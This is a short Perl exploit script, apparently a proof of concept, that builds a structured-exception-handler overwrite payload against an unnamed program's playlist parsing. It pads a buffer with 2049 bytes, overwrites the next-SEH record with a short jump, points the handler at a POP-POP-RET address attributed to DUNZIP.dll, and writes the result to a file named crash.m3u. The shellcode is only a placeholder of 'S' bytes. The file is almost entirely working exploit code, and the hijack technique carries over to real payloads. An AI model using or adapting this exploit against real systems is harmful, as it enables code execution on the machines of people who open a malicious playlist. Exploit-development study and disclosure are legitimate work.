#!/usr/bin/perl

#[      BoF     ][Next SEH][SEH Handler]
#[   \x41x2049  ][ \x42x4 ][  \xccx4   ]
my $bof="\x41" x 2049; # Buffer Over Flow
#my $nseh="\xeb\x16\x90\x90"; # JMP 16 bytes
my $nseh="\xeb\x20\x90\x90"; # JMP 20 bytes
my $seh= "\x36\x01\x01\x30" x 4; # 0x30010136 EDI=POP , ESI=POP , RET DUNZIP.dll
my $nop="\x90" x 12; # Null bytes
my $shellcode ="\x53" x 315; # S x 315 byte, as shellcode

my $exploit= $bof.$nseh.$seh.$nop.$shellcode;


###################################################################
open(myfile,'>> crash.m3u');
print myfile $exploit;
###################################################################